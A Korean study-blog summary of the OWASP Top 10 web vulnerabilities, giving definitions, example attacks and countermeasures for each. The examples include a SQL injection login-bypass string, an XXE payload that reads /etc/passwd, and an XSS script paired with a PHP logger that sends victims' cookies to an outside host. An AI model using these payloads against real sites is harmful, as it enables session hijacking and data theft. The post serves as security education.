cgy12306
OWASP Top 10 본문
1. 인젝션 [Injection]

정의
- 신뢰할 수 없는 데이터가 명령어나 쿼리문의 일부분으로써, 인터프리터로 보내질 때 발생
- 공격자의 악의적인 데이터는 예기치 않은 명령을 실행하거나 올바른 권한 없이 데이터에 접근하도록 인터프리터를 속일 수 있음
인증우회
https://cgy12306.tistory.com?id=' or '1'='1
위처럼 작성하게 되면 논리 연산자 or에 의해 무조건 참 값으로 되기 때문에 테이블의 값이 반환 된다.
보안 대책
- 인터프리터 사용을 피하거나 매개변수화된 인터페이스를 제공하는 안전한 API를 사용
- 입력값에 대한 유효성 검증, 필터링
2. 취약한 인증 [Broken Authentication]

정의
- 공격자들이 암호, 키, 세션 토큰을 위험에 노출시킬 수 있거나 일시적 또는 영구적으로 다른 사용자의 권한 획득을 위해 구현 상 결함을 악용하도록 허용
인증우회
- 세션 ID가 URL에 노출되면 이 값을 이용하며 다른 사용자의 권한을 획득.
보안 대책
- 다중인증을 구현하여 자동화된 계정 정보 삽입
- 약한 비밀번호 검사
- 로그인 실패에 대한 제한이나 시간 연기 구현
3. 민감한 데이터 노출 [Sensitive Data Exposure]

정의
- 다수의 웹 앱과 API는 개인 정보를 제대로 보호하지 않음.
- 공격자는 다른 범죄를 수행하기 위해 취약한 데이터를 훔치거나 수정 가능
- 중요한 데이터는 저장 또는 전송할 때 암호화 같은 추가 보호 조치가 없으면 탈취 당할 수 있음
인증 우회
HTTP 요청을 가로챈 후 쿠키 값에 정보가 들어있으면 이 값을 이용하여 다른 사용자의 권한을 획득한다.
보안 대책
- 최신의 강력한 표준 알고리즘, 프로토콜, 암호 키를 사용하는지 확인, 키 관리
- TLS, 서버의 암호 우선 순위 지정 및 보안 매개 변수와 같은 보안 프로토콜로 전송 중인 모든 데이터를 암호화
4. XML 외부 개체(XXE) [XML External Entities]

정의
- XML 프로세서들은 XML 문서 내에서 외부 개체 참조를 평가
- 외부 개체는 파일 URI 처리기, 내부 파일 공유, 내부 포트 스캔, 원격 코드 실행과 서비스 거부 공격을 사용하여 내부 파일을 공개하는데 사용할 수 있음
인증 우회
<? xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo> &xxe;</foo>
위처럼 xml 문서안에 동적으로 외부 url의 리소스를 포함시킬 수 있는 외부 엔티티를 사용할 수 있다.
보안 대책
- XML Parser에서 DOCTYPE 태그를 사용하지 않도록 설정
- 코드 상 DOCTYPE 태그를 포함하는 입력을 차단하도록 입력 검증을 사용
- XML 파서에서 외부 엔티티를 금지
- 엔티티 기능 비활성화
5. 취약한 접근 통제 [Broken Access Control]

정의
- 인증된 사용자가 수행할 수 있는 작업에 대한 제한이 제대로 적용되어 있지 않음
- 공격자는 이러한 결함을 악용하여 다른 사용자의 계정에 접근, 다른 사용자의 데이터를 수정, 접근 권한 변경 등 권한 없는 기능과 데이터에 접근 가능
인증 우회
-
관리자 페이지로 추정되는 URL 주소 입력
https://cgy12306.tistory.com/admin.php
보안 대책
- 불특정 다수에게 공개된 자원을 제외하곤 디폴트 정책은 차단으로 운영해야 함
- 접근통제 모델은 레코드 소유자만 권한을 갖게 끔 강제해야 함
6. 잘못된 보안 구성 [Security Misconfiguration]

정의
- 취약한 기본 설정, 미완성, 잘못 구성된 HTTP 헤더 및 민감한 정보가 포함된 장황한 에러 메시지로 인한 결과
인증 우회
- 사용자들이 관리자 디렉토리나, 파일에 대해 접근 가능한 상태로 디폴트 공유 권한을 열어둔 상태라면 민감한 데이터에 대한 접근을 허용할 수도 있음
보안 대책
- 불필요한 기능, 구성 요소, 문서 없이 최소한으로 플랫폼을 유지하고, 사용하지 않는 기능과 프레임워크는 삭제하거나 설치하지 않음
- 최소한의 사용자 계정을 사용
- 디렉토리 권한 설정
7. 크로스 사이트 스크립팅(XSS) [Cross-Site Scripting]

정의
- 애플리케이션이 올바른 유혀성 검사 또는 필터링 처리 없이 새 웹 페이지에 신뢰할 수 없는 데이터를 포함하거나, JSP와 HTML을 생성하는 브라우저 API를 활용한 사용자 제공 데이터로 기존 웹 페이지를 업데이트할 때 발생.
- XSS는 피해자의 브라우저에서 공격자에 의해 스크립트를 실행시켜 사용자 세션을 탈취할 수 있게 만들고, 웹 사이트를 변조시켜 악성 사이트로 리다이렉션할 수 있도록 허용
인증 우회
<script>
document.write('<img src="http://ipaddress:8080/xss.php?log='+document.cookie +'"/>');
</script>
#xss.php
<?
$fp = fopen("log.txt", "a+");
fwrite($fp, $_GET['log']);
fclose($fp);
?>
document.cookie 안에 담긴 쿠키를 xss.php 페이지로 강제로 로케이션 시킨후 파라미터로 log 값을 넘긴다.
그러면 xss.php 에서는 그 값을 GET으로 받아서 log.txt에 저장하여 세션을 획득할 수 있다.
보안 대책
- 자동으로 필터링 처리하는 프레임 워크 사용
- HTML 출력 내 컨텍스트 기반으로 신뢰할 수 없는 HTTP 요청 데이터를 필터링
8. 안전하지 않은 역직렬화 [Insecure Deserialization]

- 직렬화는 Java 프로그램에서 특정 Class의 현재 인스턴스 상태를 다른 서버로 전달하기 위해서 Class의 인스턴스 정보를 Byte Code로 복사하는 작업이다.
- 역직렬화란 서로간에 원활한 통신을 위해 데이터를 스트림하기 위해 직렬화를 시키고 그 직렬화된 데이터 스트림을 다시 받고 역직렬화 해서 데이터를 확인하는 과정
정의
- 안전하지 않은 역직렬화는 종종 원격 코드 실행으로 이어짐
- 역직렬화 취약점이 원격 코드 실행 결과를 가져오지 않더라도 이는 권한 상승 공격, 인젝션 등 다양한 공격 수행에 사용될 수 있음
인증 우회
CVE 2018-2628 [안전하지 않은 역직렬화] 취약점 분석
CVE 2018-2628취약점 분석 I. 분석 요약 1. OWASP TOP 10 1-1 OWASTP TOP 10OWA...
blog.naver.com
보안 대책
- 악성 개체 생성이나 데이터 변조를 방지하기 위해 직렬화된 객체에 대한 디지털 서명과 같은 무결성 검사 구현
- 낮은 권한 환경에서 역직렬화하는 코드를 분리하여 실행
9. 알려진 취약점이 있는 구성요소 사용 [Using Components with Known Vulnerabilities]

정의
- 라이브러리, 프레임워크 및 다른 소프트웨어 모듈 같은 컴포넌트는 애플리케이션과 같은 권한으로 실행됨
- 만약 취약한 컴포넌트가 악용된 경우, 데이터 손실을 일으키거나 서버가 장악됨
- 알려진 취약점이 있는 컴포넌트를 사용한 애플리케이션과 API는 애플리케이션 방어를 약화시키거나 다양한 공격과 영향을 주게 함
보안 대책
- 사용하지 않는 종속성, 불필요한 기능, 구성 요소, 파일과 문서등을 제거
- 최신버전 사용
10. 불충분한 로깅 & 모니터링 [Insufficient Logging & Monitoring]

정의
- 불충분한 로깅과 모니터링은 사고 대응의 비효율적인 통합 또는 누락과 함께 공격자들이 시스템을 더 공격하고, 지속성을 유지하며, 더 많은 시스템을 중심으로 공격할 수 있도록 만들고, 데이터를 변조, 추출 또는 파괴할 수 있음
보안 대책
- 모든 로그인, 접근 통제 실패, 서버 사이드의 입력값 검증 실패 등 의심스럽거나 악의적인 계정을 식별할 수 있는 충분한 사용자 문맥으로 기록될 수 있는지 확인
- 중앙 집중적 로그 관리 솔루션에 의해 쉽게 사용될 수 있는 형식으로 로그가 생성되는지 확실히 함
- 의심스러운 활동이 적시에 탐지되고 대응될 수 있도록 효과적인 모니터링 및 경고 설정